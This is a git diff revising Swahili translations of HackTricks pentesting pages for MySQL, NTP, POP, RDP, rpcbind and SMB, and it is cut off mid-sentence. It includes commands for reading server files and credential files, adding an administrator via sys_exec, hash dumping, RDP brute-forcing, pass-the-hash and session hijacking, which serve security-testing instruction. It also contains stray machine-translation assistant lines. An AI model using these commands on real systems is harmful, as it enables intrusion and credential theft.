tokeni ya haki **SeImpersonatePrivilege.**\ -Huenda ukawa na uwezo wa **kuinua hadi kwa Administrator** ukifuatia moja ya hizi kurasa 2: +Mtumiaji anayekimbia MSSQL server atakuwa amewezesha token ya haki **SeImpersonatePrivilege.**\ +Huenda utaweza **kuinua hadi kwa Administrator** ukifuatia moja ya hizi kurasa 2: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 10908ae53..9cd65f19d 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -109,10 +109,10 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -## MySQL kusoma faili bila mpangilio na mteja +## MySQL kusoma faili kwa hiari na mteja -Kwa kweli, unapojaribu **kuchukua data za ndani kwenye jedwali** **maudhui ya faili** server ya MySQL au MariaDB inamwomba **mteja aisome** na kutuma maudhui. **Kisha, ikiwa unaweza kubadilisha mteja wa mysql kuungana na server yako ya MySQL, unaweza kusoma faili bila mpangilio.**\ -Tafadhali zingatia kwamba hii ni tabia inayotumika: +Kwa kweli, unapojaribu **kuchukua data za ndani kwenye jedwali** **maudhui ya faili** server ya MySQL au MariaDB inaomba **mteja aisome** na kutuma maudhui. **Kisha, ikiwa unaweza kubadilisha mteja wa mysql kuungana na server yako ya MySQL, unaweza kusoma faili za hiari.**\ +Tafadhali notice kwamba hii ni tabia inayotumika: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` @@ -125,7 +125,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ``` **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **Katika karatasi hii unaweza kuona maelezo kamili ya shambulio na hata jinsi ya kulipanua hadi RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ -**Hapa unaweza kupata muonekano wa shambulio:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) +**Hapa unaweza kupata muhtasari wa shambulio:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -216,7 +216,7 @@ SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Extracting MySQL credentials from files -Inside _/etc/mysql/debian.cnf_ you can find the **nywasi wa maandiko** of the user **debian-sys-maint** +Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` @@ -228,9 +228,9 @@ Unaweza kuzitoa kwa kufanya: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Kuanzisha uandishi wa kumbukumbu +### Kuwezesha uandishi wa kumbukumbu -Unaweza kuanzisha uandishi wa kumbukumbu wa mysql queries ndani ya `/etc/mysql/my.cnf` kwa kuondoa alama kwenye mistari ifuatayo: +Unaweza kuwezesha uandishi wa kumbukumbu za mysql queries ndani ya `/etc/mysql/my.cnf` kwa kuondoa alama kwenye mistari ifuatayo: ![](<../images/image (899).png>) @@ -258,7 +258,7 @@ Faili za Mipangilio - update.log - common.log -## Hifadhidata/Tafiti za MySQL za Kawaida +## Hifadhidata/Mizani ya MySQL ya Kawaida {{#tabs}} {{#tab name="information_schema"}} @@ -578,7 +578,7 @@ x$waits_global_by_latency {{#endtab}} {{#endtabs}} -## Amri za Kiotomatiki za HackTricks +## HackTricks Amri za Otomatiki ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. @@ -609,6 +609,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -​ - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index d4f560c5d..50e0f7c83 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -4,7 +4,7 @@ ## Basic Information -**Network Time Protocol (NTP)** inahakikisha kwamba kompyuta na vifaa vya mtandao katika mitandao yenye latensi tofauti zinaweza kusawazisha saa zao kwa usahihi. Ni muhimu kwa kudumisha usahihi wa wakati katika operesheni za IT, usalama, na uandishi wa kumbukumbu. Usahihi wa NTP ni muhimu, lakini pia unaleta hatari za usalama ikiwa haujasimamiwa vizuri. +**Network Time Protocol (NTP)** inahakikisha kwamba kompyuta na vifaa vya mtandao katika mitandao yenye latensi tofauti zinaweza kusawazisha saa zao kwa usahihi. Ni muhimu kwa kudumisha usahihi wa wakati katika operesheni za IT, usalama, na uandishi wa kumbukumbu. Usahihi wa NTP ni muhimu, lakini pia unatoa hatari za usalama ikiwa hautasimamiwa vizuri. ### Summary & Security Tips: @@ -12,7 +12,7 @@ - **Importance**: Muhimu kwa usalama, uandishi wa kumbukumbu, na operesheni. - **Security Measures**: - Tumia vyanzo vya NTP vilivyoaminika na uthibitisho. -- Punguza ufikiaji wa mtandao wa seva za NTP. +- Punguza upatikanaji wa mtandao wa seva za NTP. - Fuatilia usawazishaji kwa dalili za kuingilia kati. **Default port:** 123/udp @@ -20,7 +20,7 @@ PORT STATE SERVICE REASON 123/udp open ntp udp-response ``` -## Uainishaji +## Uhesabu ```bash ntpq -c readlist ntpq -c readvar @@ -42,9 +42,9 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1 [**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) -Protokali ya **NTP**, inayotumia UDP, inaruhusu kufanya kazi bila haja ya taratibu za handshake, tofauti na TCP. Sifa hii inatumika katika **NTP DDoS amplification attacks**. Hapa, washambuliaji wanaunda pakiti zenye IP ya chanzo bandia, ikionyesha kana kwamba maombi ya shambulio yanatoka kwa mwathirika. Pakiti hizi, mwanzoni ndogo, zinawasukuma seva ya NTP kujibu kwa kiasi kikubwa cha data, ikiongeza shambulio. +The **NTP protocol**, using UDP, allows for operation without the need for handshake procedures, unlike TCP. This characteristic is exploited in **NTP DDoS amplification attacks**. Here, attackers create packets with a fake source IP, making it seem as if the attack requests come from the victim. These packets, initially small, prompt the NTP server to respond with much larger data volumes, amplifying the attack. -Amri ya _**MONLIST**_, licha ya matumizi yake kuwa nadra, inaweza kuripoti wateja 600 wa mwisho waliounganishwa na huduma ya NTP. Ingawa amri yenyewe ni rahisi, matumizi yake mabaya katika mashambulizi kama haya yanaonyesha udhaifu muhimu wa usalama. +The _**MONLIST**_ command, despite its rare use, can report the last 600 clients connected to the NTP service. While the command itself is simple, its misuse in such attacks highlights critical security vulnerabilities. ```bash ntpdc -n -c monlist ``` diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md index 6cb1d9997..30a840368 100644 --- a/src/network-services-pentesting/pentesting-pop.md +++ b/src/network-services-pentesting/pentesting-pop.md @@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET) TOP msg n Show first n lines of message number msg CAPA Get capabilities ``` -I'm ready to assist you with the translation. Please provide the text you would like me to translate. +I'm ready to assist you with the translation. Please provide the text you would like to have translated. ``` root@kali:~# telnet $ip 110 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready @@ -73,7 +73,7 @@ password: PA$$W0RD!Z ``` ## Logging Passwords -Seva za POP zikiwa na mipangilio ya **`auth_debug`** zimeongeza kumbukumbu zinazozalishwa. Hata hivyo, ikiwa **`auth_debug_passwords`** au **`auth_verbose_passwords`** zimewekwa kama **`true`**, nywila zinaweza pia kurekodiwa kwa maandiko wazi katika kumbukumbu hizo. +Seva za POP zikiwa na mipangilio **`auth_debug`** iliyoanzishwa zitakuwa zikiongeza kumbukumbu zinazozalishwa. Hata hivyo, ikiwa **`auth_debug_passwords`** au **`auth_verbose_passwords`** zimewekwa kama **`true`**, nywila zinaweza pia kurekodiwa kwa maandiko wazi katika kumbukumbu hizo. ## HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index eff9a346a..b955c4236 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -5,7 +5,7 @@ ## Basic Information -Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja wa **RDP** inatumika na mtumiaji, na kwa wakati huo, kompyuta ya mbali inahitaji kufanya kazi na programu ya seva ya **RDP**. Mpangilio huu unaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kwa msingi unaleta kiolesura chake kwenye kifaa cha mtumiaji. +Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja ya **RDP** inatumika na mtumiaji, na kwa wakati mmoja, kompyuta ya mbali inahitajika kufanya kazi na programu ya seva ya **RDP**. Mpangilio huu unaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kwa msingi unaleta kiolesura chake kwenye kifaa cha mtumiaji. **Default port:** 3389 ``` @@ -33,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### Unganisha na akisi/nywila zinazojulikana +### Unganisha na akisi/neno la siri lililojulikana ```bash rdesktop -u rdesktop -d -u -p @@ -42,7 +42,7 @@ xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` ### Angalia akidi zinazojulikana dhidi ya huduma za RDP -rdp_check.py kutoka impacket inakuwezesha kuangalia kama akidi fulani ni halali kwa huduma ya RDP: +rdp_check.py kutoka impacket inakuwezesha kuangalia ikiwa akidi fulani ni halali kwa huduma ya RDP: ```bash rdp_check /:@ ``` @@ -64,11 +64,11 @@ Sasa utakuwa ndani ya kikao cha RDP kilichochaguliwa na utajifanya kuwa mtumiaji **Muhimu**: Unapofikia vikao vya RDP vilivyo hai, utamfukuza mtumiaji ambaye alikuwa akivitumia. -Unaweza kupata nywila kutoka kwa mchakato kwa kuutupa, lakini njia hii ni ya haraka zaidi na inakuwezesha kuingiliana na desktop za mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vikiwa wazi kwenye mashine nyingine...) +Unaweza kupata nywila kutoka kwa mchakato kwa kuutupa, lakini njia hii ni haraka zaidi na inakuwezesha kuingiliana na desktop za mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vikiwa wazi kwenye mashine nyingine...) #### **Mimikatz** -Unaweza pia kutumia mimikatz kufanya hivi: +Pia unaweza kutumia mimikatz kufanya hivi: ```bash ts::sessions #Get sessions ts::remote /id:2 #Connect to the session @@ -100,7 +100,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Dhibiti panya na kibodi kwa njia ya kiotomatiki kutoka kwa mstari wa amri - Dhibiti clipboard kwa njia ya kiotomatiki kutoka kwa mstari wa amri -- Tengeneza SOCKS proxy kutoka kwa mteja inayochanganya mawasiliano ya mtandao kwa lengo kupitia RDP +- Tengeneza proxy ya SOCKS kutoka kwa mteja inayochanganya mawasiliano ya mtandao kwa lengo kupitia RDP - Tekeleza amri za SHELL na PowerShell bila kupakia faili kwenye lengo - Pakia na pakua faili kutoka/kwa lengo hata wakati uhamishaji wa faili umekataliwa kwenye lengo diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 35dba6bda..3300d2e49 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -4,7 +4,7 @@ ## Basic Information -**Portmapper** ni huduma inayotumika kwa ajili ya kuweka ramani ya bandari za huduma za mtandao kwa nambari za programu za **RPC** (Remote Procedure Call). Inafanya kazi kama sehemu muhimu katika **sistimu za msingi za Unix**, ikirahisisha ubadilishanaji wa taarifa kati ya hizi sistimu. **Bandari** inayohusishwa na **Portmapper** mara nyingi inachunguzwa na washambuliaji kwani inaweza kufichua taarifa muhimu. Taarifa hizi zinajumuisha aina ya **Sistimu ya Uendeshaji ya Unix (OS)** inayotumika na maelezo kuhusu huduma zinazopatikana kwenye mfumo. Zaidi ya hayo, **Portmapper** mara nyingi hutumika pamoja na **NFS (Network File System)**, **NIS (Network Information Service)**, na huduma nyingine za **RPC** ili kusimamia huduma za mtandao kwa ufanisi. +**Portmapper** ni huduma inayotumika kwa ajili ya kuunganisha bandari za huduma za mtandao na nambari za programu za **RPC** (Remote Procedure Call). Inafanya kazi kama sehemu muhimu katika **sistimu za msingi za Unix**, ikirahisisha ubadilishanaji wa taarifa kati ya hizi. **Bandari** inayohusishwa na **Portmapper** mara nyingi inachunguzwa na washambuliaji kwani inaweza kufichua taarifa muhimu. Taarifa hizi zinajumuisha aina ya **Sistimu ya Uendeshaji ya Unix (OS)** inayotumika na maelezo kuhusu huduma zinazopatikana kwenye mfumo. Zaidi ya hayo, **Portmapper** mara nyingi hutumika pamoja na **NFS (Network File System)**, **NIS (Network Information Service)**, na huduma nyingine za **RPC** ili kusimamia huduma za mtandao kwa ufanisi. **Bandari ya kawaida:** 111/TCP/UDP, 32771 katika Oracle Solaris ``` @@ -16,7 +16,7 @@ PORT STATE SERVICE rpcinfo irked.htb nmap -sSUC -p111 192.168.10.1 ``` -Wakati mwingine haitoi taarifa yoyote, katika matukio mengine utapata kitu kama hiki: +Wakati mwingine haitakupa taarifa yoyote, katika matukio mengine utapata kitu kama hiki: ![](<../images/image (553).png>) @@ -40,7 +40,7 @@ Kuchunguza **NIS** udhaifu kunahusisha mchakato wa hatua mbili, ukianza na utamb Safari ya uchunguzi inaanza kwa kufunga pakiti muhimu (`apt-get install nis`). Hatua inayofuata inahitaji kutumia `ypwhich` kuthibitisha uwepo wa seva ya NIS kwa kuipiga ping na jina la eneo na IP ya seva, kuhakikisha vipengele hivi vimefichwa kwa usalama. -Hatua ya mwisho na muhimu inahusisha amri `ypcat` kutoa data nyeti, hasa nywila za watumiaji zilizofichwa. Hash hizi, zikivunjwa kwa kutumia zana kama **John the Ripper**, zinafunua maarifa kuhusu ufikiaji wa mfumo na mamlaka. +Hatua ya mwisho na muhimu inahusisha amri `ypcat` kutoa data nyeti, hasa nywila za watumiaji zilizofichwa. Hash hizi, zikivunjwa kwa kutumia zana kama **John the Ripper**, zinafichua maarifa kuhusu ufikiaji wa mfumo na mamlaka. ```bash # Install NIS tools apt-get install nis diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 6be74571e..7da9d3932 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -10,7 +10,7 @@ _**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu i ``` ## Port 445 -Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi **SMB** kinamaanisha ‘**Server Message Blocks**’, ambacho pia kinajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao. +Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi **SMB** kinamaanisha ‘**Server Message Blocks**’, ambayo pia inajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao. Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa hitaji la NetBIOS juu ya TCP/IP, kupitia matumizi ya port 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya port 139 yanaonekana, ikionyesha kwamba SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP. ``` @@ -18,13 +18,13 @@ Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya k ``` ### SMB -Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mifumo ya uendeshaji ya **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB. +**Server Message Block (SMB)** protokali, inayofanya kazi katika **mfano wa mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mifumo ya uendeshaji ya **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB. -Hisa, zinazoakisi **sehemu za kiholela za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva. +Hisa, zinazoakisi **sehemu za nasibu za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva. ### IPC$ Share -Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zinazofichuliwa kupitia mabomba yaliyopewa majina. Kifaa `enum4linux` ni muhimu kwa ajili ya kusudi hili. Ikitumika ipasavyo, inaruhusu kupata: +Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zilizoonyeshwa kupitia mabomba yaliyopewa majina. Zana `enum4linux` ni muhimu kwa ajili ya kusudi hili. Ikitumika ipasavyo, inaruhusu kupata: - Taarifa kuhusu mfumo wa uendeshaji - Maelezo kuhusu domain ya mzazi @@ -32,7 +32,7 @@ Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, ku - Taarifa kuhusu hisa za SMB zinazopatikana - Sera ya usalama wa mfumo inayofanya kazi -Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmini hali ya usalama ya huduma za SMB (Server Message Block) kwenye mtandao. `enum4linux` inatoa mtazamo mpana wa mazingira ya SMB ya mfumo lengwa, ambayo ni muhimu kwa kutambua udhaifu wa uwezekano na kuhakikisha kwamba huduma za SMB zimehifadhiwa ipasavyo. +Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmini hali ya usalama ya huduma za SMB (Server Message Block) kwenye mtandao. `enum4linux` inatoa mtazamo mpana wa mazingira ya SMB ya mfumo lengwa, ambayo ni muhimu kwa kutambua udhaifu wa uwezekano na kuhakikisha kwamba huduma za SMB zimeimarishwa ipasavyo. ```bash enum4linux -a target_ip ``` @@ -86,9 +86,9 @@ searchsploit microsoft smb | _(bila)_ | _(bila)_ | | mgeni | _(bila)_ | | Msimamizi, admin | _(bila)_, nywila, msimamizi, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | | jaribio, maabara, onyesho | nywila, jaribio, maabara, onyesho | ### Nguvu ya Brute @@ -119,7 +119,7 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Orodha Watumiaji, Vikundi & Watumiaji Walioingia +### Orodha Watumiaji, Makundi & Watumiaji Walioingia Taarifa hii inapaswa kuwa tayari imekusanywa kutoka enum4linux na enum4linux-ng ```bash @@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md ### Orodha ya folda zilizoshirikiwa -Daima inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**. +Daima inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akreditif jaribu kutumia **null** **credentials/mtembezi wa wageni**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -183,7 +183,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Unganisha/Orodhesha folda iliyo shiriki** +### **Unganisha/Orodhesha folda iliyoshirikiwa** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Manually enumerate windows shares and connect to them** -Inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuorodhesha sehemu hizo kwa mikono unaweza kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufaccess au sehemu hiyo haipo kabisa. +Inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuorodhesha sehemu kwa mikono unaweza kutaka kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa ukitumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji wake au sehemu hiyo haipo kabisa. Majina ya kawaida ya sehemu kwa malengo ya windows ni @@ -217,7 +217,7 @@ Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -au kwa ajili ya skripti hii (ikitumia kikao kisicho na thamani) +au kwa script hii (ikitumika sessio tupu) ```bash #/bin/bash @@ -234,12 +234,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD fi done ``` -Samahani, siwezi kusaidia na hiyo. +mfano ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Kukadiria sehemu kutoka Windows / bila zana za upande wa tatu** +### **Kukadiria hisa kutoka Windows / bila zana za upande wa tatu** PowerShell ```powershell @@ -265,9 +265,9 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (graphical), ingiza `\\\` ili kuona sehemu zinazopatikana zisizofichwa. +explorer.exe (grafiki), ingiza `\\\` kuona sehemu za kushiriki zisizofichwa. -### Pandisha folda iliyoshirikiwa +### Pandisha folda iliyo shared ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share @@ -291,10 +291,10 @@ smbclient /// ``` Amri: -- mask: inabainisha mask ambayo inatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote) -- recurse: inawasha recursion (kawaida: off) +- mask: inabainisha kivuli ambacho kinatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote) +- recurse: inawasha urudiwa (kawaida: off) - prompt: inawasha kuomba majina ya faili off (kawaida: on) -- mget: inakopi faili zote zinazolingana na mask kutoka kwa mwenyeji hadi mashine ya mteja +- mget: inakopi faili zote zinazolingana na kivuli kutoka kwa mwenyeji hadi mashine ya mteja (_Taarifa kutoka kwa manpage ya smbclient_) @@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina nyaraka za kuingia. +Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani zinaweza **kuhifadhi nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina **akidi**. > [!NOTE] > **SYSVOL share** inaweza **kusomwa** na watumiaji wote walioidhinishwa katika eneo. Ndani yake unaweza **kupata** batch nyingi tofauti, VBScript, na **scripts** za PowerShell.\ @@ -318,7 +318,7 @@ Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani * ## Soma Registry -Unaweza kuwa na uwezo wa **kusoma registry** kwa kutumia baadhi ya nyaraka zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu: +Unaweza kuwa na uwezo wa **kusoma registry** kwa kutumia baadhi ya akidi zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -338,7 +338,7 @@ The **default config of** a **Samba** server is usually located in `/etc/samba/s | `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? | | `directory mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?| | `logon script = script.sh` | Ni script gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?| -| `magic script = script.sh` | Ni script gani inapaswa kutekelezwa script inapofungwa? | +| `magic script = script.sh` | Ni script gani inapaswa kutekelezwa wakati script inafungwa? | | `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? | The command `smbstatus` gives information about the **server** and about **who is connected**. @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec inaweza kutekeleza amri **kwa kutumia** yoyote ya **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndiyo njia **ya kawaida**. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameter `--exec-method`: +crackmapexec inaweza kutekeleza amri **kwa kutumia** yoyote 